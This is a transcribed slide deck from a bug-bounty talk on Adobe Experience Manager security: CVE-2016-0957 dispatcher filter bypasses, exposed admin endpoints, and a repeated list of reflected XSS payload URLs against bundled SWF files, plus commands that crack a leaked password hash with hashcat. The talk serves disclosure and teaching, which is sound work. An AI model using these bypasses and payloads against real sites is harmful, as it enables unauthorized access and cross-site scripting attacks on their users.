A story of the passive aggressive sysadmin of AEM
2 likes3,110 views
The document details the experiences of a passive-aggressive sysadmin, primarily focused on Adobe Experience Manager (AEM) and related security vulnerabilities such as CVE-2016-0957. It references incidents involving hacking, discussions about subdomain takeovers, and various AEM administrative tasks and settings, along with humorous commentary. The overall tone reflects a mix of technical insights and personal anecdotes in the context of cybersecurity and system administration.
![@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
Thx Neal Poole](https://image.slidesharecdn.com/passiveagressiveaempublic-180913185544/85/A-story-of-the-passive-aggressive-sysadmin-of-AEM-57-320.jpg)
![@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
Thx Neal Poole](https://image.slidesharecdn.com/passiveagressiveaempublic-180913185544/85/A-story-of-the-passive-aggressive-sysadmin-of-AEM-58-320.jpg)
![@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=alert(document.domain)-window
Thx Neal Poole](https://image.slidesharecdn.com/passiveagressiveaempublic-180913185544/85/A-story-of-the-passive-aggressive-sysadmin-of-AEM-59-320.jpg)
![@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=alert(document.domain)-window
/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?
loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)
%7dcatch(e)%7b%7d//
Thx Neal Poole](https://image.slidesharecdn.com/passiveagressiveaempublic-180913185544/85/A-story-of-the-passive-aggressive-sysadmin-of-AEM-60-320.jpg)
![@fransrosen
FLASHFEST in AEM CORE
/etc/clientlibs/foundation/shared/endorsed/swf/
slideshow.swf?contentPath=%5c"))%7dcatch(e)
%7balert(document.domain)%7d//
/etc/clientlibs/foundation/video/swf/player_flv_maxi.swf?
onclick=jav%gascript:confirm(document.domain)
/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=alert(document.domain)-window
/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?
loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain)
%7dcatch(e)%7b%7d//
/etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source]
(document.domain)-window
Thx Neal Poole](https://image.slidesharecdn.com/passiveagressiveaempublic-180913185544/85/A-story-of-the-passive-aggressive-sysadmin-of-AEM-61-320.jpg)
A story of the passive aggressive sysadmin of AEM
- 1. @fransrosen A story of the passive aggressive sysadmin of AEM or "How to make a talk in 3h 35min"
- 2. @fransrosen Frans Rosén Bug bounties! labs.detectify.com twitter.com/fransrosen I blogged about Subdomain Takeovers. Donald Trump got hacked. The hacker referred to my post as his inspiration. I broke Let’s Encrypt Live hacking! I won a boxing belt once
- 3. @fransrosen Frans Rosén Bug bounties! labs.detectify.com twitter.com/fransrosen I blogged about Subdomain Takeovers. Donald Trump got hacked. The hacker referred to my post as his inspiration. I broke Let’s Encrypt Live hacking! I won a boxing belt once namedropped in ytcracker - green hat
- 4. @fransrosen 2016 – Peter Adkins https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
- 5. @fransrosen 2016 – Peter Adkins https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html CVE-2016-0957
- 6. @fransrosen 2016 – Peter Adkins https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html CVE-2016-0957 "The world’s lamest RCE."
- 7. @fransrosen How AEM is structured https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
- 8. @fransrosen How AEM is structured Adobe "black magic glue"
- 9. @fransrosen How AEM is structured Stuff you pay your consultants for Adobe "black magic glue"
- 10. @fransrosen Shit no one’s updating Stuff you pay your consultants for Adobe "black magic glue" How AEM is structured
- 11. @fransrosen How AEM is structured https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
- 12. @fransrosen How AEM is structured Apache HTTP server module
- 13. @fransrosen How AEM is structured Reverse proxy+filter Apache HTTP server module
- 14. @fransrosen How AEM is structured Apache HTTP server module Pages + metadata + content Reverse proxy+filter
- 15. @fransrosen How AEM is structured Apache HTTP server module Pages + metadata + content Reverse proxy+filter A bunch of admin-tools
- 16. @fransrosen How AEM is structured You should not have access to this Apache HTTP server module Pages + metadata + content Reverse proxy+filter A bunch of admin-tools
- 17. @fransrosen How AEM is structured You should not have access to this Or this Apache HTTP server module Reverse proxy+filter A bunch of admin-tools Pages + metadata + content
- 19. @fransrosen Creating pages Author creates a new page in the repo
- 20. @fransrosen Creating pages Author creates a new page in the repo Goes through the publisher nodes
- 21. @fransrosen Creating pages Author creates a new page in the repo Goes through the publisher nodes Dispatcher serves the content
- 23. @fransrosen Accessing pages Dispatcher gets the URL
- 24. @fransrosen Accessing pages Dispatcher gets the URL Goes through a filter (This filter is awesome, it’s impossible to break, don’t even dare to try)
- 25. @fransrosen Accessing pages Dispatcher gets the URLIf all is OK, serve from publish node Goes through a filter (This filter is awesome, it’s impossible to break, don’t even dare to try)
- 26. @fransrosen CVE-2016-0957 aka "I am two years old but I’m inside an enterprise product that no one can or dares to upgrade"
- 27. @fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome, it’s impossible to break, don’t even dare to try)
- 28. @fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome, it’s impossible to break, don’t even dare to try)
- 29. @fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome, it’s impossible to break, don’t even dare to try)
- 30. @fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome, it’s impossible to break, don’t even dare to try)
- 31. @fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome, it’s impossible to break, don’t even dare to try)
- 32. @fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome, it’s impossible to break, don’t even dare to try)
- 33. @fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome, it’s impossible to break, don’t even dare to try)
- 35. @fransrosen Accessing pages?.css Dispatcher gets the URL?.css
- 36. @fransrosen Accessing pages Dispatcher gets the URL?.css Every time is OK time
- 37. @fransrosen Accessing pages Dispatcher gets the URL?.css Every time is OK time Serve from publish node
- 39. @fransrosen Disk usage /etc/reports/diskusage.html?.css Disk Usage lists all repo dirs + metadata
- 40. @fransrosen My fav, opensocial proxy /libs/opensocial/proxy?url=x&.css
- 41. @fransrosen My fav, opensocial proxy /libs/opensocial/proxy?url=x&.css
- 48. @fransrosen Namespace Editor (no auth needed!) /crx/explorer/ui/namespace_editor.jsp?.css
- 51. @fransrosen
- 54. @fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? onclick=jav%gascript:confirm(document.domain)
- 55. @fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? onclick=jav%gascript:confirm(document.domain)
- 56. @fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? onclick=jav%gascript:confirm(document.domain) /etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf? javascriptCallbackFunction=alert(document.domain)-String
- 57. @fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? onclick=jav%gascript:confirm(document.domain) /etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf? javascriptCallbackFunction=alert(document.domain)-String /libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22]) %7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// Thx Neal Poole
- 58. @fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? onclick=jav%gascript:confirm(document.domain) /etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf? javascriptCallbackFunction=alert(document.domain)-String /libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22]) %7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22]) %7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// Thx Neal Poole
- 59. @fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? onclick=jav%gascript:confirm(document.domain) /etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf? javascriptCallbackFunction=alert(document.domain)-String /libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22]) %7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22]) %7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf? stagesize=1&namespacePrefix=alert(document.domain)-window Thx Neal Poole
- 60. @fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? onclick=jav%gascript:confirm(document.domain) /etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf? javascriptCallbackFunction=alert(document.domain)-String /libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22]) %7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22]) %7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf? stagesize=1&namespacePrefix=alert(document.domain)-window /etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf? loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain) %7dcatch(e)%7b%7d// Thx Neal Poole
- 61. @fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/video/swf/player_flv_maxi.swf? onclick=jav%gascript:confirm(document.domain) /etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf? javascriptCallbackFunction=alert(document.domain)-String /libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22]) %7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22]) %7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /etc/dam/viewers/s7sdk/2.11/flash/VideoPlayer.swf? stagesize=1&namespacePrefix=alert(document.domain)-window /etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf? loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain) %7dcatch(e)%7b%7d// /etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf? stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source] (document.domain)-window Thx Neal Poole
- 62. @fransrosen Allowing anonymous publish access
- 63. @fransrosen Allowing anonymous publish access
- 64. @fransrosen Allowing anonymous publish access 🤦
- 73. @fransrosen Patch for CVE-2016-0957 THEN WHAT IS THE PROBLEM? WOHO! WOHO!
- 83. @fransrosen Bypasses, seriously ?.js ;%0a.css Thank Jasmin Landry for this one
- 85. @fransrosen The passive agressive sysadmin 💊 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵💵 💵💵 💵 💵💵💵 💵 + + 💊 💊💊 💊
- 86. @fransrosen The passive agressive sysadmin 💊 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵 💵💵 💵💵 💵 💵💵💵 💵 + + 💊 💊💊 💊
- 87. @fransrosen I’ve seen this before
- 88. @fransrosen AEM
- 89. @fransrosen CRX
- 100. @fransrosen WTF
- 101. @fransrosen WTF $ h=$(echo "6J7An/QgzU+j5gr1G0CyEexJ9xkgiIyyUzTcmaCCV5g=" | base64 -D | xxd -p | tr -d 'n')
- 102. @fransrosen WTF $ h=$(echo "6J7An/QgzU+j5gr1G0CyEexJ9xkgiIyyUzTcmaCCV5g=" | base64 -D | xxd -p | tr -d 'n') $ echo $h e89ec09ff420cd4fa3e60af51b40b211ec49f71920888cb25334dc99a082 5798
- 103. @fransrosen hashcat ftw $ echo $h > hash.txt $ ./hashcat.app -a 0 -m 1400 hash.txt rockyou.txt
- 104. @fransrosen hashcat ftw $ echo $h > hash.txt $ ./hashcat.app -a 0 -m 1400 hash.txt rockyou.txt Status.........: Cracked Started: Thu Sep 13 11:59:23 2018 Stopped: Thu Sep 13 11:59:25 2018
- 110. @fransrosen Report 2
- 111. @fransrosen Report 2
- 112. @fransrosen Report 2
- 113. @fransrosen Public bug bounty programs with AEM Public responsible disclosure 📼 Private ones 🏨 💊💵
- 114. @fransrosen Thanks!